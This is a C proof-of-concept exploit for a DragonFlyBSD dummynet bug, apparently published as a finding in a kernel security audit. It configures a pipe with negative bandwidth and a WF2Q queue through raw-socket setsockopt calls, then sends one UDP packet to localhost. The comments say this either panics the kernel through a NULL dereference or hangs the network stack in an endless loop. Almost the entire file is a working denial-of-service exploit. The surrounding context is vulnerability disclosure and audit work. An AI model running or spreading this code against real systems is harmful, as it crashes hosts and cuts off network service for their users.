⬢ DragonFlyBSD Kernel Audit
DF-3350 / df3350.c
← back to finding ↓ download raw
/*
 * DF-3350 PoC -- DragonFlyBSD dummynet negative-bandwidth pipe
 *
 * sys/net/dummynet/ip_dummynet.c:
 *   config_pipe()       stores ioc_pipe->bandwidth with NO validation
 *                       (line 1516: x->bandwidth = ioc_pipe->bandwidth;)
 *   ready_event_wfq()   with bandwidth < 0 and numbytes < 0:
 *                       - t stays 0 (line 618-622: only computed if bw > 0)
 *                       - line 623: TAILQ_LAST(&p->p_queue,...)->output_time
 *                         dereferences NULL when the delay line is empty
 *                         (delay == 0 variant)  => kernel panic
 *                       - delay > 0 variant: pipe is reinserted into
 *                         wfq_ready_heap with key == curr_time, so the
 *                         drain loop in dummynet() (line 678) spins
 *                         forever => netisr wedge (hard network DoS).
 *
 * Must run as root (raw socket). Trigger packet: UDP to 127.0.0.1
 * matched by an ipfw `queue` rule (O_QUEUE => WF2Q path).
 *
 * usage: ./df3350 [delay_ms]     (default 0 = panic variant)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <errno.h>

typedef uint64_t dn_key;

/* verbatim from sys/net/dummynet/ip_dummynet.h (userland ABI part) */
struct dn_ioc_flowid {
	uint16_t type;
	uint16_t pad;
	union {
		struct {
			uint32_t dst_ip;
			uint32_t src_ip;
			uint16_t dst_port;
			uint16_t src_port;
			uint8_t proto;
			uint8_t flags;
		} ip;
		uint8_t pad[64];
	} u;
};

struct dn_ioc_flowset {
	uint16_t fs_type;	/* DN_IS_{QUEUE,PIPE}, MUST be first */
	uint16_t fs_nr;
	uint16_t flags_fs;
	uint16_t parent_nr;
	int weight;
	int qsize;
	int plr;
	int rq_size;
	int rq_elements;
	int w_q;
	int max_th;
	int min_th;
	int max_p;
	int lookup_step;
	int lookup_weight;
	struct dn_ioc_flowid flow_mask;
	uint8_t reserved[16];
};

struct dn_ioc_pipe {
	struct dn_ioc_flowset fs;	/* MUST be first */
	int pipe_nr;
	int bandwidth;			/* bit/second */
	int delay;			/* milliseconds */
	dn_key V;
	uint8_t reserved[16];
};

#ifndef IP_DUMMYNET_CONFIGURE
#define IP_DUMMYNET_CONFIGURE	60
#endif

int
main(int argc, char **argv)
{
	struct dn_ioc_pipe p, q;
	struct sockaddr_in dst;
	int delay_ms = (argc > 1) ? atoi(argv[1]) : 0;
	int s, u;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		perror("raw socket (are you root?)");
		exit(1);
	}

	/* pipe 1: bandwidth = -1 bit/s, delay = delay_ms ms */
	bzero(&p, sizeof(p));
	p.pipe_nr = 1;
	p.bandwidth = -1;
	p.delay = delay_ms;
	if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE, &p, sizeof(p)) < 0) {
		perror("config pipe 1");
		exit(1);
	}
	printf("[+] pipe 1 configured: bandwidth=%d delay=%d(ms)\n",
	    p.bandwidth, p.delay);
	fflush(stdout);

	/* WF2Q queue 100 on parent pipe 1 */
	bzero(&q, sizeof(q));
	q.fs.fs_nr = 100;
	q.fs.parent_nr = 1;
	q.fs.weight = 1;
	if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE, &q, sizeof(q)) < 0) {
		perror("config queue 100");
		exit(1);
	}
	printf("[+] queue 100 configured (parent=1, weight=1)\n");
	fflush(stdout);

	u = socket(AF_INET, SOCK_DGRAM, 0);
	bzero(&dst, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);
	dst.sin_addr.s_addr = htonl(0x7f000001U);

	printf("[*] trigger: 1 UDP packet -> 127.0.0.1:9 via lo0\n");
	fflush(stdout);
	if (sendto(u, "A", 1, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
		perror("sendto");
	printf("[*] packet queued; dummynet tick fires in <=1ms...\n");
	fflush(stdout);
	sleep(5);
	printf("[?] survived 5s (delay=%d variant)\n", delay_ms);
	return 0;
}